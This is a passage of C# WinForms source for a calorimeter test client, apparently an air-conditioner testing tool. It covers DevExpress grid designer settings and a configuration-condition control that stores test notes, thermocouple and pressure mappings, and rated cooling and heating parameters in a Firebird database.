this.cgPoint16SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint16SvColumn.FieldName = "SV16";
this.cgPoint16SvColumn.Name = "cgPoint16SvColumn";
this.cgPoint16SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint16SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint16SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint16SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint16SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint16SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint16SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint16SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint16SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint16SvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint16SvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint16SvColumn.Visible = true;
this.cgPoint16SvColumn.Width = 68;
//
// imageList
//
this.imageList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageList.ImageStream")));
this.imageList.TransparentColor = System.Drawing.Color.Transparent;
this.imageList.Images.SetKeyName(0, "Unchecked.png");
this.imageList.Images.SetKeyName(1, "Checked.png");
//
// CtrlCalibGrid
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.Name = "CtrlCalibGrid";
this.Size = new System.Drawing.Size(984, 588);
this.bgPanel.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.channelGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.channelGridView)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.behaviorManager1)).EndInit();
this.ResumeLayout(false);
}
#endregion
public DevExpress.XtraGrid.GridControl channelGrid;
public DevExpress.XtraGrid.Views.BandedGrid.AdvBandedGridView channelGridView;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgNoColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cdNameColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgRawValueColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cdRealValueColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint1PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint1SvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint2PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint2SvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint3PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint3SvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint4PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint4SvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint5PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint5SvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint6PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint6SvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint7PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint7SvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint8PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint8SvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint9PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint9SvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint10PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint10SvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint11PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint11SvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint12PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint12SvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint13PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint13SvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint14PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint14SvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint15PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint15SvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint16PvColumn;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgPoint16SvColumn;
private DevExpress.Utils.Behaviors.BehaviorManager behaviorManager1;
private System.Windows.Forms.ImageList imageList;
private DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn cgCheckedColumn;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgGeneralBand;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgMeasValueBand;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint1Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint2Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint3Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint4Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint5Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint6Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint7Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint8Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint9Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint10Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint11Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint12Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint13Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint14Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint15Band;
private DevExpress.XtraGrid.Views.BandedGrid.GridBand cgPoint16Band;
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.Utils.DragDrop;
using DevExpress.XtraEditors;
using DevExpress.XtraGrid.Views.Base;
using DevExpress.XtraGrid.Views.Grid;
using DevExpress.XtraGrid.Views.Grid.ViewInfo;
using FirebirdSql.Data.FirebirdClient;
using Ulee.Controls;
using Ulee.Device.Connection.Yokogawa;
using Ulee.Utils;
namespace Hnc.Calorimeter.Client
{
public partial class CtrlConfigCondition : UlUserControlEng
{
public CtrlConfigCondition()
{
Initialized = false;
InitializeComponent();
Initialize();
Initialized = true;
}
private bool Initialized;
private EDataSetMode mode;
private GridBookmark bookmark;
private CalorimeterConfigDatabase db;
private List<MeasureRow> id1TCs;
private List<MeasureRow> id2TCs;
private List<MeasureRow> odTCs;
private List<MeasureRow> presses;
private List<TextEdit> noteEdits;
private List<GridView> gridViews;
private void Initialize()
{
Color evenColor = Color.FromArgb(244, 244, 236);
db = Resource.ConfigDB;
mode = EDataSetMode.View;
bookmark = new GridBookmark(conditionGridView);
int length = Resource.Tag.ThermoLength / 3;
id1TCs = new List<MeasureRow>();
id2TCs = new List<MeasureRow>();
odTCs = new List<MeasureRow>();
for (int i = 0; i < length; i++)
{
id1TCs.Add(new MeasureRow(null, "", "", i + 1));
id2TCs.Add(new MeasureRow(null, "", "", i + length + 1));
odTCs.Add(new MeasureRow(null, "", "", i + length * 2 + 1));
}
presses = new List<MeasureRow>();
for (int i = 0; i < Resource.Tag.PressLength; i++)
{
presses.Add(new MeasureRow(null, "", "", i + 1));
}
thermo1Grid.DataSource = id1TCs;
thermo1GridView.Appearance.EvenRow.BackColor = evenColor;
thermo1GridView.OptionsView.EnableAppearanceEvenRow = true;
thermo2Grid.DataSource = id2TCs;
thermo2GridView.Appearance.EvenRow.BackColor = evenColor;
thermo2GridView.OptionsView.EnableAppearanceEvenRow = true;
thermo3Grid.DataSource = odTCs;
thermo3GridView.Appearance.EvenRow.BackColor = evenColor;
thermo3GridView.OptionsView.EnableAppearanceEvenRow = true;
thermoTagGrid.DataSource = Resource.Tag.Thermos;
thermoTagGridView.Appearance.EvenRow.BackColor = evenColor;
thermoTagGridView.OptionsView.EnableAppearanceEvenRow = true;
pressureGrid.DataSource = presses;
pressureGridView.Appearance.EvenRow.BackColor = evenColor;
pressureGridView.OptionsView.EnableAppearanceEvenRow = true;
pressureTagGrid.DataSource = Resource.Tag.Presses;
pressureTagGridView.Appearance.EvenRow.BackColor = evenColor;
pressureTagGridView.OptionsView.EnableAppearanceEvenRow = true;
methodCapaCoolingUnitCombo.DisplayMember = "Name";
methodCapaCoolingUnitCombo.ValueMember = "Value";
methodCapaCoolingUnitCombo.DataSource = EnumHelper.GetNameValues<EUnitCapacity>();
methodCapaHeatingUnitCombo.DisplayMember = "Name";
methodCapaHeatingUnitCombo.ValueMember = "Value";
methodCapaHeatingUnitCombo.DataSource = EnumHelper.GetNameValues<EUnitCapacity>();
foreach (TabPage page in ratedTab.TabPages)
{
EConditionRated index = (EConditionRated)int.Parse(page.Tag.ToString());
CtrlTestRated ctrl = new CtrlTestRated(index, Resource.Variables.Graph);
ctrl.CalcCapacity += DoCalcCapacity;
ctrl.ChangedPowerMeter += DoChangedPowerMeter;
page.Controls.Add(ctrl);
}
noteEdits = new List<TextEdit>();
noteEdits.Add(noteCompanyEdit);
noteEdits.Add(noteTestNameEdit);
noteEdits.Add(noteTestNoEdit);
noteEdits.Add(noteObserverEdit);
noteEdits.Add(noteMakerEdit);
noteEdits.Add(noteModel1Edit);
noteEdits.Add(noteSerial1Edit);
noteEdits.Add(noteModel2Edit);
noteEdits.Add(noteSerial2Edit);
noteEdits.Add(noteModel3Edit);
noteEdits.Add(noteSerial3Edit);
noteEdits.Add(noteExpDeviceEdit);
noteEdits.Add(noteRefChargeEdit);
noteEdits.Add(noteMemoEdit);
gridViews = new List<GridView>();
gridViews.Add(thermo1GridView);
gridViews.Add(thermo2GridView);
gridViews.Add(thermo3GridView);
gridViews.Add(thermoTagGridView);
gridViews.Add(pressureGridView);
gridViews.Add(pressureTagGridView);
SetPanelActive(true);
}
private void CtrlConfigCondition_Load(object sender, EventArgs e)
{
db.Lock();
try
{
NoteParamDataSet set = db.NoteParamSet;
set.Select();
conditionGrid.DataSource = set.DataSet.Tables[0];
conditionGridView.Appearance.EvenRow.BackColor = Color.FromArgb(244, 244, 236);
conditionGridView.OptionsView.EnableAppearanceEvenRow = true;
}
finally
{
db.Unlock();
}
SetDataSetMode(EDataSetMode.View);
}
private void CtrlConfigCondition_Enter(object sender, EventArgs e)
{
db.Lock();
try
{
NoteParamDataSet set = db.NoteParamSet;
set.Select();
}
finally
{
db.Unlock();
}
}
public void CtrlConfigCondition_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == (char)Keys.Escape)
{
if (cancelButton.Enabled == true)
{
cancelButton_Click(null, null);
}
}
}
private void searchButton_Click(object sender, EventArgs e)
{
if (mode != EDataSetMode.View) return;
db.Lock();
try
{
NoteParamDataSet set = db.NoteParamSet;
bookmark.Get();
if (string.IsNullOrWhiteSpace(makerEdit.Text) == true)
set.Select();
else
set.Select(makerEdit.Text.Trim());
}
finally
{
db.Unlock();
}
bookmark.Goto();
conditionGrid.Focus();
}
private void newButton_Click(object sender, EventArgs e)
{
if (mode != EDataSetMode.View) return;
SetDataSetMode(EDataSetMode.New);
ResetEdit();
noteCompanyEdit.Focus();
}
private void modifyButton_Click(object sender, EventArgs e)
{
if (mode != EDataSetMode.View) return;
if (conditionGridView.FocusedRowHandle < 0) return;
SetDataSetMode(EDataSetMode.Modify);
db.Lock();
try
{
SetEditFromDataSet();
}
finally
{
db.Unlock();
}
noteCompanyEdit.Focus();
}
private void copyButton_Click(object sender, EventArgs e)
{
if (mode != EDataSetMode.View) return;
if (conditionGridView.FocusedRowHandle < 0) return;
if (MessageBox.Show("Would you like to copy a record focused?",
Resource.Caption, MessageBoxButtons.YesNo, MessageBoxIcon.Question)
== DialogResult.No)
{
return;
}
noteCompanyEdit.Focus();
db.Lock();
try
{
InsertNote();
}
finally
{
db.Unlock();
}
searchButton.PerformClick();
}
private void deleteButton_Click(object sender, EventArgs e)
{
if (mode != EDataSetMode.View) return;
if (conditionGridView.FocusedRowHandle < 0) return;
if (MessageBox.Show("Would you like to delete a record focused?",
Resource.Caption, MessageBoxButtons.YesNo, MessageBoxIcon.Question)
== DialogResult.No)
{
return;
}
db.Lock();
try
{
db.DeleteNoteParam();
}
finally
{
db.Unlock();
}
searchButton.PerformClick();
}
private void saveButton_Click(object sender, EventArgs e)
{
string maker = noteMakerEdit.Text.Trim();
string model = noteModel1Edit.Text.Trim();
string serial = noteSerial1Edit.Text.Trim();
if ((maker == "") || (model == "") || (serial == ""))
{
MessageBox.Show("You must fill Maker, Model(1) and Serial(1) fields!",
Resource.Caption, MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
noteMakerEdit.Focus();
return;
}
noteCompanyEdit.Focus();
db.Lock();
try
{
if (mode == EDataSetMode.New)
InsertNote();
else
UpdateNote();
}
finally
{
db.Unlock();
}
SetDataSetMode(EDataSetMode.View);
searchButton.PerformClick();
}
private void cancelButton_Click(object sender, EventArgs e)
{
SetDataSetMode(EDataSetMode.View);
searchButton.PerformClick();
}
private void conditionGrid_DoubleClick(object sender, EventArgs e)
{
if (mode != EDataSetMode.View) return;
modifyButton.PerformClick();
}
private void conditionGridView_FocusedRowChanged(object sender, FocusedRowChangedEventArgs e)
{
if (e.FocusedRowHandle < 0) return;
if (mode != EDataSetMode.View) return;
db.Lock();
try
{
NoteParamDataSet set = db.NoteParamSet;
DataRow row = conditionGridView.GetDataRow(e.FocusedRowHandle);
set.Fetch(row);
SetEditFromDataSet();
}
finally
{
db.Unlock();
}
}
private void methodCapaCoolingUnitCombo_SelectedValueChanged(object sender, EventArgs e)
{
if (Initialized == false) return;
int nUnit = (int)methodCapaCoolingUnitCombo.SelectedValue;
string sUnit = methodCapaCoolingUnitCombo.Text;
SetRatedConditionCoolingUnit(ETestRatedField.Capacity, sUnit);
SetRatedConditionCoolingUnit(ETestRatedField.EER_COP, EnumHelper.GetNames<EUnitEER_COP>()[nUnit]);
}
private void methodCapaHeatingUnitCombo_SelectedValueChanged(object sender, EventArgs e)
{
if (Initialized == false) return;
int nUnit = (int)methodCapaHeatingUnitCombo.SelectedValue;
string sUnit = methodCapaHeatingUnitCombo.Text;
SetRatedConditionHeatingUnit(ETestRatedField.Capacity, sUnit);
SetRatedConditionHeatingUnit(ETestRatedField.EER_COP, EnumHelper.GetNames<EUnitEER_COP>()[nUnit]);
}
private void thermoTagGridView_CustomDrawColumnHeader(object sender, ColumnHeaderCustomDrawEventArgs e)
{
if (e.Column == null) return;
if (e.Column.AppearanceHeader.BackColor != Color.Empty)
{
e.Info.AllowColoring = true;
}
}
#region Grid drag and drop events
private void thermo1GriddragDropEvents_DragDrop(object sender, DragDropEventArgs e)
{
if (mode == EDataSetMode.View) return;
int sourceRow = ((int[])e.Data)[0];
GridView sourceView = e.Source as GridView;
GridView targetView = e.Target as GridView;
GridHitInfo hit = targetView.CalcHitInfo(
targetView.GridControl.PointToClient(new Point(e.Location.X, e.Location.Y)));
if (hit.InRowCell == true)
{
if (sourceView.Name == thermoTagGridView.Name)
{
targetView.SetRowCellValue(hit.RowHandle, targetView.Columns["Value"],
sourceView.GetRowCellValue(sourceRow, sourceView.Columns["Value"]).ToString());
}
}
e.Handled = true;
}
private void thermo1GriddragDropEvents_DragOver(object sender, DragOverEventArgs e)
{
if (mode == EDataSetMode.View) return;
GridView sourceView = e.Source as GridView;
if (sourceView.Name == thermoTagGridView.Name)
{
DragOverGridEventArgs args = DragOverGridEventArgs.GetDragOverGridEventArgs(e);
e.Cursor = DragAndDropCursors.CopyEffectCursor;
args.Handled = true;
}
}
private void thermo2GridDragDropEvents_DragDrop(object sender, DragDropEventArgs e)
{
thermo1GriddragDropEvents_DragDrop(sender, e);
}
private void thermo2GridDragDropEvents_DragOver(object sender, DragOverEventArgs e)
{
thermo1GriddragDropEvents_DragOver(sender, e);
}
private void thermo3GridDragDropEvents_DragDrop(object sender, DragDropEventArgs e)
{
thermo1GriddragDropEvents_DragDrop(sender, e);
}
private void thermo3GridDragDropEvents_DragOver(object sender, DragOverEventArgs e)
{
thermo1GriddragDropEvents_DragOver(sender, e);
}
private void pressureGridDragDropEvents_DragDrop(object sender, DragDropEventArgs e)
{
if (mode == EDataSetMode.View) return;
int sourceRow = ((int[])e.Data)[0];
GridView sourceView = e.Source as GridView;
GridView targetView = e.Target as GridView;
GridHitInfo hit = targetView.CalcHitInfo(
targetView.GridControl.PointToClient(new Point(e.Location.X, e.Location.Y)));
if (hit.InRowCell == true)
{
if (sourceView.Name == pressureTagGridView.Name)
{
targetView.SetRowCellValue(hit.RowHandle, targetView.Columns["Value"],
sourceView.GetRowCellValue(sourceRow, sourceView.Columns["Value"]).ToString());
}
}
e.Handled = true;
}
private void pressureGridDragDropEvents_DragOver(object sender, DragOverEventArgs e)
{
if (mode == EDataSetMode.View) return;
GridView sourceView = e.Source as GridView;
if (sourceView.Name == pressureTagGridView.Name)
{
DragOverGridEventArgs args = DragOverGridEventArgs.GetDragOverGridEventArgs(e);
e.Cursor = DragAndDropCursors.CopyEffectCursor;
args.Handled = true;
}
}
#endregion
private void DoCalcCapacity(object sender, EventArgs e)
{
if (((CtrlTestRated)sender).Index == EConditionRated.Total) return;
RecalcTotalRatedCondition();
}
private void DoChangedPowerMeter(object sender, EventArgs e)
{
CtrlTestRated ctrl = null;
RatedPowerMeterArgs args = e as RatedPowerMeterArgs;
switch (args.Index)
{
case EConditionRated.ID11:
ctrl = ratedTab.TabPages[(int)EConditionRated.ID12].Controls[0] as CtrlTestRated;
break;
case EConditionRated.ID12:
ctrl = ratedTab.TabPages[(int)EConditionRated.ID11].Controls[0] as CtrlTestRated;
break;
case EConditionRated.ID21:
ctrl = ratedTab.TabPages[(int)EConditionRated.ID22].Controls[0] as CtrlTestRated;
break;
case EConditionRated.ID22:
ctrl = ratedTab.TabPages[(int)EConditionRated.ID21].Controls[0] as CtrlTestRated;
break;
}
if (ctrl == null) return;
if (args.Field == ETestRatedField.PM_IDU)
{
ctrl.SetIduComboSelectedIndexWithoutEvent(0, args.PowerMeterNo);
ctrl.SetIduComboSelectedIndexWithoutEvent(1, args.PowerMeterNo);
}
else
{
ctrl.SetOduComboSelectedIndexWithoutEvent(0, args.PowerMeterNo);
ctrl.SetOduComboSelectedIndexWithoutEvent(1, args.PowerMeterNo);
}
}
private void RecalcTotalRatedCondition()
{
CtrlTestRated totalCtrl = (CtrlTestRated)ratedTab.TabPages[(int)EConditionRated.Total].Controls[0];
double coolingCapacity = 0;
double coolingPower = 0;
double heatingCapacity = 0;
double heatingPower = 0;
foreach (TabPage page in ratedTab.TabPages)
{
EConditionRated index = (EConditionRated)int.Parse(page.Tag.ToString());
if (index != EConditionRated.Total)
{
CtrlTestRated ctrl = (CtrlTestRated)page.Controls[0];
coolingCapacity += double.Parse(ctrl.coolingCapacityEdit.Text);
coolingPower += double.Parse(ctrl.coolingPowerInEdit.Text);
heatingCapacity += double.Parse(ctrl.heatingCapacityEdit.Text);
heatingPower += double.Parse(ctrl.heatingPowerInEdit.Text);
}
}
totalCtrl.coolingCapacityEdit.EditValue = coolingCapacity;
totalCtrl.coolingPowerInEdit.EditValue = coolingPower;
totalCtrl.heatingCapacityEdit.EditValue = heatingCapacity;
totalCtrl.heatingPowerInEdit.EditValue = heatingPower;
if (coolingPower == 0.0)
totalCtrl.coolingEepEdit.EditValue = 0.0;
else
totalCtrl.coolingEepEdit.EditValue = coolingCapacity / coolingPower;
if (heatingPower == 0.0)
totalCtrl.heatingEepEdit.EditValue = 0.0;
else
totalCtrl.heatingEepEdit.EditValue = heatingCapacity / heatingPower;
}
private void SetRatedConditionCoolingUnit(ETestRatedField index, string unit)
{
foreach (TabPage page in ratedTab.TabPages)
{
CtrlTestRated ctrl = (CtrlTestRated)page.Controls[0];
ctrl.SetCoolingUnit(index, unit);
}
}
private void SetRatedConditionHeatingUnit(ETestRatedField index, string unit)
{
foreach (TabPage page in ratedTab.TabPages)
{
CtrlTestRated ctrl = (CtrlTestRated)page.Controls[0];
ctrl.SetHeatingUnit(index, unit);
}
}
private void SetDataSetMode(EDataSetMode mode)
{
this.mode = mode;
string strMode = mode.ToString().ToUpper();
noteTitlePanel.Text = $"NOTE({strMode})";
thermoTitlePanel.Text = $"THERMOCOUPLE({strMode})";
pressureTitlePanel.Text = $"PRESSURE({strMode})";
ratedTitlePanel.Text = $"RATED CONDITION({strMode})";
switch (mode)
{
case EDataSetMode.View:
saveButton.Enabled = false;
cancelButton.Enabled = false;
noteTitlePanel.BackColor = Color.Gray;
thermoTitlePanel.BackColor = Color.Gray;
pressureTitlePanel.BackColor = Color.Gray;
ratedTitlePanel.BackColor = Color.Gray;
SetEditReadOnly(true);
break;
case EDataSetMode.New:
saveButton.Enabled = true;
cancelButton.Enabled = true;
noteTitlePanel.BackColor = Color.DeepSkyBlue;
thermoTitlePanel.BackColor = Color.DeepSkyBlue;
pressureTitlePanel.BackColor = Color.DeepSkyBlue;
ratedTitlePanel.BackColor = Color.DeepSkyBlue;
SetEditReadOnly(false);
break;
case EDataSetMode.Modify:
saveButton.Enabled = true;
cancelButton.Enabled = true;
noteTitlePanel.BackColor = Color.DeepSkyBlue;
thermoTitlePanel.BackColor = Color.DeepSkyBlue;
pressureTitlePanel.BackColor = Color.DeepSkyBlue;
ratedTitlePanel.BackColor = Color.DeepSkyBlue;
SetEditReadOnly(false);
break;
}
}
private void SetPanelActive(bool active)
{
Color bkColor = (active == true) ? Color.DeepSkyBlue : Color.Gray;
noteTitlePanel.BackColor = bkColor;
thermoTitlePanel.BackColor = bkColor;
pressureTitlePanel.BackColor = bkColor;
ratedTitlePanel.BackColor = bkColor;
}
private void SetEditReadOnly(bool active)
{
searchPanel.Enabled = active;
methodCapaCoolingUnitCombo.Enabled = !active;
methodCapaHeatingUnitCombo.Enabled = !active;
noteRefrigerantCombo.Properties.ReadOnly = active;
foreach (TextEdit edit in noteEdits)
{
edit.Properties.ReadOnly = active;
edit.EnterMoveNextControl = true;
}
foreach (GridView gridView in gridViews)
{
gridView.OptionsBehavior.ReadOnly = active;
}
foreach (TabPage page in ratedTab.TabPages)
{
(page.Controls[0] as CtrlTestRated).ReadOnly = active;
}
}
private void SetEditData(EDataSetMode mode)
{
switch (mode)
{
case EDataSetMode.View:
case EDataSetMode.Modify:
SetEditFromDataSet();
break;
case EDataSetMode.New:
ResetEdit();
break;
}
}
private void SetEditFromDataSet()
{
NoteParamDataSet set = db.NoteParamSet;
noteCompanyEdit.Text = set.Company;
noteTestNameEdit.Text = set.TestName;
noteTestNoEdit.Text = set.TestNo;
noteObserverEdit.Text = set.Observer;
noteMakerEdit.Text = set.Maker;
noteModel1Edit.Text = set.Model1;
noteSerial1Edit.Text = set.Serial1;
noteModel2Edit.Text = set.Model2;
noteSerial2Edit.Text = set.Serial2;
noteModel3Edit.Text = set.Model3;
noteSerial3Edit.Text = set.Serial3;
noteExpDeviceEdit.Text = set.ExpDevice;
noteRefrigerantCombo.Text = set.Refrig;
noteRefChargeEdit.Text = set.RefCharge;
noteMemoEdit.Text = set.Memo;
foreach (TabPage page in ratedTab.TabPages)
{
CtrlTestRated ctrl = page.Controls[0] as CtrlTestRated;
RatedParamDataSet ratedSet = db.RatedParamSet;
ratedSet.Select(set.RecNo, ctrl.Index);
if (ratedSet.GetRowCount() == 2)
{
ratedSet.Fetch(0);
ctrl.CoolingRecNo = ratedSet.RecNo;
ctrl.coolingCapacityEdit.EditValue = ratedSet.Capacity;
ctrl.coolingPowerInEdit.EditValue = ratedSet.Power;
ctrl.coolingEepEdit.EditValue = ratedSet.EER_COP;
ctrl.coolingVoltEdit.EditValue = ratedSet.Volt;
ctrl.coolingCurrentEdit.EditValue = ratedSet.Amp;
ctrl.coolingFreqCombo.Text = ratedSet.Freq;
ctrl.coolingPowerMeter1Combo.SelectedIndex = ratedSet.PM_IDU;
ctrl.coolingPowerMeter2Combo.SelectedIndex = ratedSet.PM_ODU;
ctrl.coolingPhaseCombo.SelectedValue = ratedSet.Phase;
ratedSet.Fetch(1);
ctrl.HeatingRecNo = ratedSet.RecNo;
ctrl.heatingCapacityEdit.EditValue = ratedSet.Capacity;
ctrl.heatingPowerInEdit.EditValue = ratedSet.Power;
ctrl.heatingEepEdit.EditValue = ratedSet.EER_COP;
ctrl.heatingVoltEdit.EditValue = ratedSet.Volt;
ctrl.heatingCurrentEdit.EditValue = ratedSet.Amp;
ctrl.heatingFreqCombo.Text = ratedSet.Freq;
ctrl.heatingPowerMeter1Combo.SelectedIndex = ratedSet.PM_IDU;
ctrl.heatingPowerMeter2Combo.SelectedIndex = ratedSet.PM_ODU;
ctrl.heatingPhaseCombo.SelectedValue = ratedSet.Phase;
}
}
methodCapaCoolingUnitCombo.SelectedValue = set.CoolUnit;
methodCapaHeatingUnitCombo.SelectedValue = set.HeatUnit;
ThermoPressParamDataSet thermoPressSet = db.ThermoPressParamSet;
thermoPressSet.Select(set.RecNo, 0);
if (id1TCs.Count == thermoPressSet.GetRowCount())
{
for (int i = 0; i < thermoPressSet.GetRowCount(); i++)
{
thermoPressSet.Fetch(i);
id1TCs[i].RecNo = thermoPressSet.RecNo;
id1TCs[i].Value = thermoPressSet.Name;
}
}
thermoPressSet.Select(set.RecNo, 1);
if (id2TCs.Count == thermoPressSet.GetRowCount())
{
for (int i = 0; i < thermoPressSet.GetRowCount(); i++)
{
thermoPressSet.Fetch(i);
id2TCs[i].RecNo = thermoPressSet.RecNo;
id2TCs[i].Value = thermoPressSet.Name;
}
}
thermoPressSet.Select(set.RecNo, 2);
if (odTCs.Count == thermoPressSet.GetRowCount())
{
for (int i = 0; i < thermoPressSet.GetRowCount(); i++)
{
thermoPressSet.Fetch(i);
odTCs[i].RecNo = thermoPressSet.RecNo;
odTCs[i].Value = thermoPressSet.Name;
}
}
thermoPressSet.Select(set.RecNo, 3);
if (presses.Count == thermoPressSet.GetRowCount())
{
for (int i = 0; i < thermoPressSet.GetRowCount(); i++)
{
thermoPressSet.Fetch(i);
presses[i].RecNo = thermoPressSet.RecNo;
presses[i].Value = thermoPressSet.Name;
}
}
foreach (GridView gridView in gridViews)
{
gridView.RefreshData();
}
}
private void InsertNote()
{
FbTransaction trans = db.BeginTrans();
try
{
NoteParamDataSet noteSet = db.NoteParamSet;
noteSet.RecNo = (int)db.GetGenNo("GN_CONDITION_NOTEPARAM");
noteSet.ParamNo = -1;
noteSet.Company = noteCompanyEdit.Text;
noteSet.TestName = noteTestNameEdit.Text;
noteSet.TestNo = noteTestNoEdit.Text;
noteSet.Observer = noteObserverEdit.Text;
noteSet.Maker = noteMakerEdit.Text;
noteSet.Model1 = noteModel1Edit.Text;
noteSet.Serial1 = noteSerial1Edit.Text;
noteSet.Model2 = noteModel2Edit.Text;
noteSet.Serial2 = noteSerial2Edit.Text;
noteSet.Model3 = noteModel3Edit.Text;
noteSet.Serial3 = noteSerial3Edit.Text;
noteSet.ExpDevice = noteExpDeviceEdit.Text;
noteSet.Refrig = noteRefrigerantCombo.Text;
noteSet.RefCharge = noteRefChargeEdit.Text;
noteSet.Memo = noteMemoEdit.Text;
noteSet.CoolUnit = (EUnitCapacity)methodCapaCoolingUnitCombo.SelectedValue;
noteSet.HeatUnit = (EUnitCapacity)methodCapaHeatingUnitCombo.SelectedValue;
noteSet.Insert(trans);
RatedParamDataSet ratedSet = db.RatedParamSet;
foreach (TabPage page in ratedTab.TabPages)
{
CtrlTestRated ctrl = page.Controls[0] as CtrlTestRated;
ratedSet.RecNo = (int)db.GetGenNo("GN_CONDITION_RATEDPARAM");
ratedSet.NoteNo = noteSet.RecNo;
ratedSet.PageNo = ctrl.Index;
ratedSet.Mode = ETestMode.Cooling;
ratedSet.Capacity = float.Parse(ctrl.coolingCapacityEdit.Text);
ratedSet.Power = float.Parse(ctrl.coolingPowerInEdit.Text);
ratedSet.EER_COP = float.Parse(ctrl.coolingEepEdit.Text);
ratedSet.Volt = float.Parse(ctrl.coolingVoltEdit.Text);
ratedSet.Amp = float.Parse(ctrl.coolingCurrentEdit.Text);
ratedSet.Freq = ctrl.coolingFreqCombo.Text;
ratedSet.PM_IDU = ctrl.coolingPowerMeter1Combo.SelectedIndex;
ratedSet.PM_ODU = ctrl.coolingPowerMeter2Combo.SelectedIndex;
ratedSet.Phase = (EWT330Wiring)ctrl.coolingPhaseCombo.SelectedValue;
ratedSet.Insert(trans);
ratedSet.RecNo = (int)db.GetGenNo("GN_CONDITION_RATEDPARAM");
ratedSet.NoteNo = noteSet.RecNo;
